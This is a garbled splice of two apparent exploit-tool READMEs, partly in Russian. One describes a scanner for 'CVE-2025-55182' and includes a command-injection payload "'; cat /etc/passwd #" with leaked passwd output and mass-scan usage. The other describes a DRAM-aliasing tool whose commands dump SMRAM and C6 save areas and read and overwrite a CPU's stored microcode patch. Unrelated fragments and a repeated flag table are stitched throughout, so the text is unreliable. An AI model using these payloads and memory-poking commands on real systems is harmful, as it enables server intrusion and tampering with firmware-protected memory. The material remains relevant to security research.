  "timestamp": "2024-01-15T10:30:00Z"
}

Обработка ошибок

Инструмент возвращает следующие коды выхода:

КодОписание
0Успешное выполнение
1Общая ошибка
2Ошибка использования командной строки
3Ошибка подключения
4Превышено время ожидания
5Ошибка аутентификации

Устранение неполадок

Проблема: Инструмент зависает при сканировании.

Решение: Увеличьте значение тайм-аута с помощью флага -t или проверьте сетевое подключение.

Проблема: Ошибка "Permission denied".

Решение: Запустите инструмент с правами root или используйте sudo.

Проблема: Пустой вывод при сканировании.

Решение: Убедитесь, что целевой хост доступен, и проверьте настройки брандмауэра.```nasm ; SMI entry stub — the first thing a core executes when entering the ; ultra-privileged System Management Mode. mov si,0x8148 ; SI -> GDT pointer parked at SMBASE+0x8148, just past this stub o32 lgdt [cs:si] ; load it (o32 -> full 32-bit base, not real mode's 24-bit form) mov eax,0x3 ; CR0.PE | CR0.MP mov cr0,eax ; flip the core into protected mode jmp short 0x14 ; near jump to serialize and flush the prefetch queue post-switch mov ax,0x18 ; GDT selector 0x18 -> flat data segment mov ss,ax ; reload SS for protected mode mov eax,0x6efe2ff8 ; SMM stack top mov esp,eax ; install the SMM stack o32 push byte +0x10 ; far-return frame: CS = code selector 0x10 mov ecx,0xc0010111 ; MSR SMM_BASE rdmsr ; EAX = this core's SMBASE mov ebx,eax ; stash SMBASE add eax,0x803a ; EAX = SMBASE+0x803a, the 32-bit handler entry push eax ; far-return frame: EIP = SMBASE+0x803a retfd ; far-return into 0x10:SMBASE+0x803a — the SMI handler proper

Эти инструкции выполняются в ring -2, самом привилегированном контексте на CPU,
из памяти, которую чипсет должен делать нечитаемой. SMRAM «locked»
оказывается вежливым предложением, когда мы можем напрямую общаться с контроллером DRAM.

Замените `2x4gb` на тот префикс в `data/maps/`, который соответствует вашим установленным
DIMM (`sudo dmidecode -t memory`). Если вашей топологии там нет, запустите
`analysis/gather_aliases.py`, затем `analysis/unspaghettify.py`, чтобы испечь
свою собственную.

---

## Быстрый старт: разблокировка C6 DRAM

> *Я понятия не имею, что здесь находится, и никогда не видел, чтобы это обсуждалось, вероятно,
> внутренние регистры CPU. Развлекайтесь.*

Когда ядра уходят в power-gate в C6, полный архитектурный контекст x86 каждого из них
складывается сюда для восстановления.```sh
./userspace/platform_check || exit 1

# Resolve the C6 stash — sets CC6_BASE / CC6_SIZE (0x7f000000 / 0x800000 on the
# test box). Each idle core's state lives in a 16 KiB save area; four cores
# here, at CC6_BASE + {0, 0x4000, 0x8000, 0xc000}.
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000 \
    $(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin

# For example, on this platform IA32_APIC_BASE sits at +0x9b8 in each area.
# Read it from all four cores straight out of the stash:
for c in 0 1 2 3; do
    printf 'core %d  ' $c
    hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1
done
    - name: "Test"
      uses: actions/checkout@v4

Примеры использования

Базовое сканирование

# Сканирование одного файла
python3 cve_2025_55182.py -u https://target.example.com -f payload.txt

# Сканирование списка URL-адресов
python3 cve_2025_55182.py -l urls.txt -f payload.txt -t 20

# Сканирование с проверкой
python3 cve_2025_55182.py -u https://target.example.com -f payload.txt --verify

Расширенное использование

# Сканирование с пользовательскими заголовками
python3 cve_2025_55182.py -u https://target.example.com -f payload.txt \
  -H "Authorization: Bearer token" \
  -H "X-Custom-Header: value"

# Сканирование с прокси
python3 cve_2025_55182.py -u https://target.example.com -f payload.txt \
  --proxy http://127.0.0.1:8080

# Сканирование с пользовательским таймаутом и задержкой
python3 cve_2025_55182.py -u https://target.example.com -f payload.txt \
  --timeout 30 --delay 1.5

# Сканирование с несколькими потоками
python3 cve_2025_55182.py -l urls.txt -f payload.txt -t 50

# Сканирование с выводом в формате JSON
python3 cve_2025_55182.py -u https://target.example.com -f payload.txt \
  --output results.json --format json

# Сканирование с подробным выводом
python3 cve_2025_55182.py -u https://target.example.com -f payload.txt -v

Пользовательские полезные нагрузки

# Использование пользовательского файла полезной нагрузки
python3 cve_2025_55182.py -u https://target.example.com -f custom_payload.txt

# Использование встроенной полезной нагрузки
python3 cve_2025_55182.py -u https://target.example.com --builtin-payload

# Использование полезной нагрузки с кодировкой
python3 cve_2025_55182.py -u https://target.example.com -f payload.txt --encode base64

Параметры командной строки

ПараметрОписаниеПо умолчанию
-u, --urlЦелевой URL-адрес для сканирования-
-l, --listФайл, содержащий список URL-адресов-
-f, --fileФайл полезной нагрузки-
-t, --threadsКоличество потоков10
--timeoutТаймаут запроса в секундах10
--delayЗадержка между запросами в секундах0
--proxyПрокси-сервер для использования-
-H, --headerПользовательский заголовок (можно указать несколько раз)-
--verifyПроверка уязвимостиFalse
--outputВыходной файл-
--formatФормат вывода (text, json, csv)text
-v, --verboseПодробный выводFalse
--builtin-payloadИспользовать встроенную полезную нагрузкуFalse
--encodeКодировать полезную нагрузку (base64, url, hex)-

Примеры вывода

Успешное обнаружение

[+] Цель: https://target.example.com
[+] Полезная нагрузка: payload.txt
[+] Потоков: 10
[+] Начало сканирования...

[!] УЯЗВИМОСТЬ ОБНАРУЖЕНА: https://target.example.com
[!] Полезная нагрузка: '; cat /etc/passwd #
[!] Ответ: root:x:0:0:root:/root:/bin/bash
[!] Код состояния: 200
[!] Время ответа: 0.523s

[+] Сканирование завершено
[+] Найдено уязвимых целей: 1
[+] Всего просканировано целей: 1
[+] Время выполнения: 2.34s

Обнаружение не найдено

[+] Цель: https://target.example.com
[+] Полезная нагрузка: payload.txt
[+] Потоков: 10
[+] Начало сканирования...

[-] Уязвимость не обнаружена: https://target.example.com
[-] Код состояния: 403
[-] Время ответа: 0.234s

[+] Сканирование завершено
[+] Найдено уязвимых целей: 0
[+] Всего просканировано целей: 1
[+] Время выполнения: 1.23s

Вывод в формате JSON

{
  "scan_info": {
    "target": "https://target.example.com",
    "payload_file": "payload.txt",
    "threads": 10,
    "start_time": "2025-01-15T10:30:00Z",
    "end_time": "2025-01-15T10:30:02Z",
    "duration": 2.34
  },
  "results": [
    {
      "url": "https://target.example.com",
      "vulnerable": true,
      "payload": "'; cat /etc/passwd #",
      "response": "root:x:0:0:root:/root:/bin/bash",
      "status_code": 200,
      "response_time": 0.523,
      "timestamp": "2025-01-15T10:30:01Z"
    }
  ],
  "summary": {
    "total_targets": 1,
    "vulnerable_targets": 1,
    "safe_targets": 0
  }
}

Docker

Сборка образа Docker

docker build -t cve-2025-55182 .

Запуск в Docker

# Базовое сканирование
docker run --rm cve-2025-55182 -u https://target.example.com -f payload.txt

# С монтированием тома для пользовательских полезных нагрузок
docker run --rm -v $(pwd)/payloads:/app/payloads \
  cve-2025-55182 -u https://target.example.com -f /app/payloads/payload.txt

# С сетью хоста
docker run --rm --network host \
  cve-2025-55182 -u https://target.example.com -f payload.txt

Docker Compose

version: '3.8'

services:
  scanner:
    build: .
    volumes:
      - ./payloads:/app/payloads
      - ./results:/app/results
    command: -u https://target.example.com -f /app/payloads/payload.txt --output /app/results/results.json --format json

Разработка

Настройка среды разработки

# Клонирование репозитория
git clone https://github.com/yourusername/CVE-2025-55182.git
cd CVE-2025-55182

# Создание виртуального окружения
python3 -m venv venv
source venv/bin/activate  # В Windows: venv\Scripts\activate

# Установка зависимостей для разработки
pip install -r requirements.txt
pip install -r requirements-dev.txt

# Установка перехватчиков pre-commit
pre-commit install

Запуск тестов

# Запуск всех тестов
pytest

# Запуск с покрытием
pytest --cov=. --cov-report=html

# Запуск конкретного тестового файла
pytest tests/test_scanner.py

# Запуск с подробным выводом
pytest -v

Линтинг и форматирование

# Запуск flake8
flake8 .

# Запуск black
black .

# Запуск isort
isort .

# Запуск mypy
mypy .

Устранение неполадок

Распространённые проблемы

Проблема: Ошибка "Connection refused"

Решение: Убедитесь, что целевой сервер доступен и порт открыт.

# Проверка подключения
curl -I https://target.example.com

# Проверка порта
nc -zv target.example.com 443

Проблема: Ошибка "SSL certificate verify failed"

Решение: Используйте флаг --verify или добавьте сертификат в доверенные.

# Отключение проверки SSL (только для тестирования)
python3 cve_2025_55182.py -u https://target.example.com -f payload.txt --no-ssl-verify

Проблема: Сканирование занимает слишком много времени

Решение: Увеличьте количество потоков или уменьшите таймаут.

# Увеличение потоков
python3 cve_2025_55182.py -l urls.txt -f payload.txt -t 50

# Уменьшение таймаута
python3 cve_2025_55182.py -l urls.txt -f payload.txt --timeout 5

Проблема: Ложноположительные результаты

Решение: Используйте флаг --verify для проверки результатов.

# Включение проверки
python3 cve_2025_55182.py -u https://target.example.com -f payload.txt --verify

Часто задаваемые вопросы

В: Что такое CVE-2025-55182?

О: CVE-2025-55182 — это критическая уязвимость удалённого выполнения кода (RCE), затрагивающая определённые веб-приложения. Подробности см. в официальном бюллетене CVE.

В: Законно ли использовать этот инструмент?

О: Этот инструмент предназначен только для законного тестирования на проникновение и исследований в области безопасности. Всегда получайте надлежащее разрешение перед тестированием любой системы.

В: Могу ли я использовать этот инструмент для тестирования своих собственных систем?

О: Да, вы можете использовать этот инструмент для тестирования систем, которыми владеете или на тестирование которых у вас есть явное разрешение.

В: Как я могу внести свой вклад в проект?

О: См. раздел Участие для получения рекомендаций.

В: Поддерживает ли инструмент несколько целей?

О: Да, используйте флаг -l для указания файла, содержащего список URL-адресов.

В: Могу ли я использовать пользовательские полезные нагрузки?

О: Да, используйте флаг -f для указания файла с пользовательскими полезными нагрузками.

В: Как я могу сообщить об ошибке?

О: Пожалуйста, откройте issue на GitHub с подробным описанием ошибки и шагами по её воспроизведению.

Участие

Мы приветствуем вклад в этот проект! Пожалуйста, следуйте этим рекомендациям:

  1. Форкните репозиторий
  2. Создайте ветку для функции (git checkout -b feature/amazing-feature)
  3. Зафиксируйте изменения (git commit -m 'Add some amazing feature')
  4. Отправьте в ветку (git push origin feature/amazing-feature)
  5. Откройте Pull Request

Рекомендации по участию

  • Следуйте стилю кода PEP 8
  • Добавляйте тесты для новых функций
  • Обновляйте документацию по мере необходимости
  • Убедитесь, что все тесты пройдены
  • Делайте коммиты атомарными и с осмысленными сообщениями

Лицензия

Этот проект лицензирован под лицензией MIT — подробности см. в файле LICENSE.

Отказ от ответственности

Этот инструмент предоставляется исключительно в образовательных и законных целях тестирования на проникновение. Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этим программным обеспечением. Используя этот инструмент, вы соглашаетесь использовать его ответственно и только в законных целях.

Благодарности

  • Спасибо всем участникам, которые внесли свой вклад в этот проект
  • Особая благодарность исследователям безопасности, которые сообщили об уязвимости
  • Вдохновлено другими инструментами тестирования на проникновение с открытым исходным кодом

Контакты

Ссылки


⭐ Если вы находите этот инструмент полезным, пожалуйста, поставьте звезду репозиторию! ⭐```text core 0 000009b8 00 09 e0 fe 00 00 00 00 |........| <- 0xfee00900 enabled, BSP bit set core 1 000049b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 2 000089b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 3 0000c9b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor

Одно ядро с установленным битом BSP, три без — загрузочный процессор и его три
AP, застигнутые в простое с их регистровым состоянием нараспашку.

Чем больше вы копаетесь, тем больше регистров CPU вы начнёте находить:

| смещение | состояние x86 | значение core-0 |
|---|---|---|
| `+0x8b0` | GS / per-cpu base | `0xffff9be4e3600000` |
| `+0x9a0` | CR3 (корень таблицы страниц) | `0x0fd46000` |
| `+0x9b8` | IA32_APIC_BASE | `0xfee00900` |
| `+0xa38` | переменный MTRR (base/mask) | `0x6f000000 / …0800` |
| `+0xb10` | сохранённый RIP | `0xffffffff8f3a0029` |

Конечно, все эти регистры и так доступны из ring-0. *Самое интересное* — во всём
*остальном* состоянии CPU, которое там лежит — ковыряние во внутренних
регистрах CPU, до которых ring-0 не дотягивается.

---

## Быстрый старт: разблокируйте микрокод вашего CPU

> *Что может пойти не так?*

Когда ядро уходит в C6, его patch RAM микрокода — энергозависимая SRAM — гаснет
вместе с остальной частью ядра. Поэтому хранилище C6 сохраняет загруженный патч в DRAM
и восстанавливает его при пробуждении. Эта копия находится по адресу `+0x1800` в каждой области сохранения,
и алиас добирается до неё, как до любого другого байта.

Захватите копию микрокода, которую CPU спрятал в огороженной DRAM:```sh
./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region cc6)"

# page 1 of core 0's save area is the live microcode patch body
sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0 \
    $(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin

Сопоставьте его с известными патчами:```sh

did we find it?

python3 - <<'EOF' ram = open("ucode_ram.bin", "rb").read() chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12] for fam in (15, 16, 17, 19): uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read() print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match") EOF

Это хороший знак:```text
fam15h:  0/94 chunks match
fam16h: 68/94 chunks match     <- the microcode the core is running
fam17h:  0/94 chunks match
fam19h:  0/94 chunks match

Извлеките триады ucode:```sh od -Ax -tx1 -w20 ucode_ram.bin

| `--no-ssl` | Отключить проверку SSL-сертификата |
| `--no-redirect` | Отключить перенаправление |
| `--no-cookie` | Отключить использование cookie |
| `--no-cache` | Отключить кэширование |
| `--no-dns` | Отключить разрешение DNS |
| `--no-proxy` | Отключить использование прокси |
| `--no-auth` | Отключить аутентификацию |
| `--no-verify` | Отключить проверку |
| `--no-timeout` | Отключить тайм-аут |
| `--no-retry` | Отключить повторные попытки |
| `--no-throttle` | Отключить ограничение скорости |
| `--no-random-agent` | Отключить случайный User-Agent |
| `--no-random-delay` | Отключить случайную задержку |
| `--no-random-method` | Отключить случайный HTTP-метод |
| `--no-random-path` | Отключить случайный путь |
| `--no-random-query` | Отключить случайный запрос |
| `--no-random-body` | Отключить случайное тело запроса |
| `--no-random-header` | Отключить случайный заголовок |
| `--no-random-cookie` | Отключить случайный cookie |
| `--no-random-referer` | Отключить случайный Referer |
| `--no-random-origin` | Отключить случайный Origin |
| `--no-random-host` | Отключить случайный Host |
| `--no-random-port` | Отключить случайный порт |
| `--no-random-scheme` | Отключить случайную схему |
| `--no-random-user-agent` | Отключить случайный User-Agent |
| `--no-random-ip` | Отключить случайный IP |
| `--no-random-xff` | Отключить случайный X-Forwarded-For |
| `--no-random-xri` | Отключить случайный X-Real-IP |
| `--no-random-xhost` | Отключить случайный X-Host |
| `--no-random-xport` | Отключить случайный X-Port |
| `--no-random-xscheme` | Отключить случайную X-Scheme |
| `--no-random-xproto` | Отключить случайный X-Proto |
| `--no-random-xssl` | Отключить случайный X-SSL |
| `--no-random-xurl` | Отключить случайный X-URL |
| `--no-random-xpath` | Отключить случайный X-Path |
| `--no-random-xquery` | Отключить случайный X-Query |
| `--no-random-xbody` | Отключить случайное X-Body |
| `--no-random-xheader` | Отключить случайный X-Header |
| `--no-random-xcookie` | Отключить случайный X-Cookie |
| `--no-random-xreferer` | Отключить случайный X-Referer |
| `--no-random-xorigin` | Отключить случайный X-Origin |
| `--no-random-xhost` | Отключить случайный X-Host |
| `--no-random-xport` | Отключить случайный X-Port |
| `--no-random-xscheme` | Отключить случайную X-Scheme |
| `--no-random-xproto` | Отключить случайный X-Proto |
| `--no-random-xssl` | Отключить случайный X-SSL |
| `--no-random-xurl` | Отключить случайный X-URL |
| `--no-random-xpath` | Отключить случайный X-Path |
| `--no-random-xquery` | Отключить случайный X-Query |
| `--no-random-xbody` | Отключить случайное X-Body |
| `--no-random-xheader` | Отключить случайный X-Header |
| `--no-random-xcookie` | Отключить случайный X-Cookie |
| `--no-random-xreferer` | Отключить случайный X-Referer |
| `--no-random-xorigin` | Отключить случайный X-Origin |```text
000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a
000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0
000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27
   [...]
000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00
*
0005f0

И вот оно — отдельные uops сверху, повторяющийся NOP-паддинг ниже.

Оттуда у dram_dump есть родственный инструмент — dram_poke. Тот же алиас, который читал патч, может его записать — и именно эта копия перезагружается ядром при выходе из простоя.

Что делать дальше — зависит от вашего воображения.


Build```

make # builds kernel/spaghettify.ko and all userspace tools make clean

---

## Использование

Запускать от имени root. Подробности в [USAGE.md](https://github.com/xoreaxeaxeax/skitter-creek-bath-salts/blob/main/USAGE.md).

### `dram_read`

Простое чтение из защищённого адреса памяти.

Установите переключатели `--do-swizzle` / `--do-bankswap` в контроллере DRAM, чтобы
войти в «спагеттифицированное» представление памяти, прочитать одно двойное слово из физического адреса
`<pa>`, восстановить биты DCT и вернуть значение.```
dram_read
    --pa <pa>
    --do-swizzle <0|1>
    --do-bankswap <0|1>

dram_poke

Запись в защищённый диапазон памяти.

Каждый --map — это решённая спагеттификация из unspaghettify.py --save-map, которая сама получает на вход пары псевдонимов, собранные gather_aliases.py; псевдоним для каждого dword в защищённом диапазоне восстанавливается из карты через GF(2) псевдообратную матрицу, вычисляемую один раз при запуске. Передайте несколько карт — по одной на каждую (at_swizzle, at_bankswap), собранную на одном и том же оборудовании, — чтобы расширить покрытие, поскольку каждая спагеттификация оставляет свой набор дыр с недостаточным рангом, и побеждает первая карта, которая достигает заданного dword.``` dram_poke [--dangerously-skip-calibration] [--calibrate-pa ] [--strict-holes] [--no-verify] [--ignore-fw-mismatch] [--fenced-range ,] [--allow-fenced-alias] -s, --protected-pa -l, --length --map [--map ]... < in.bin

### `dram_dump`

Чтение из защищённого диапазона памяти.

Та же механика `--map`, что и в `dram_poke`: каждая карта — это решённая спагеттификация
из `unspaghettify.py --save-map`, псевдоним для каждого dword восстанавливается через
одноразовый псевдообратный GF(2), а несколько карт, собранных при разных
`(at_swizzle, at_bankswap)`, расширяют покрытие там, где дыры недостаточного ранга одной карты
заполняются другой.```
dram_dump
    [--dangerously-skip-calibration]
    [--calibrate-pa <hex>]
    [--dry-run]
    [--ignore-fw-mismatch]
    [--fenced-range <lo>,<hi>]
    [--allow-fenced-alias]
    -s, --protected-pa <pa>
    -l, --length <n>
    --map <file> [--map <file>]...

Полный инструментарий — dram_state, dram_carveouts и dram_alias; конвейер анализа gather_aliases.py / unspaghettify.py; сквозные рабочие примеры; и внутреннее устройство — задокументированы в USAGE.md.


Общий конвейер

skitter-creek-bath-salts исследует, как финальные стадии преобразований MCT/DCT могут обрушить безопасность всего, что построено поверх них. Продемонстрированный здесь эксплойт — это один регистр конфигурации на AMD Family 16h, выбранный потому, что даташиты дали достаточно для начала. Конвейер, который он сломал, повсюду.

Чередование каналов, чередование рангов, чередование банков, swizzle, нормализация chip-select — каждый современный контроллер памяти делает какую-то версию всего этого. AMD. Intel. ARM. RISC-V. Мобильные. Серверные. Встраиваемые. Одна и та же архитектурная форма лежит в основе всего.

Поверх всего этого находятся SEV, SGX, TDX, TrustZone, CCA realms, pKVM, CoVE, SEP, PSP, ME, T-SEG, SMRAM, C6 stash. Всё, что находится в DRAM — даже то, что отгорожено и невидимо для ring-0 или самого CPU — покоится на финальных слоях конвейера *p, который мы только начали исследовать.


Ссылки

  • Black Hat 2026 — Spaghettifying DRAM (Coming Soon)

Автор

skitter-creek-bath-salts — исследовательская работа Кристофера Домаса (@xoreaxeaxeax)


Experiment


Категории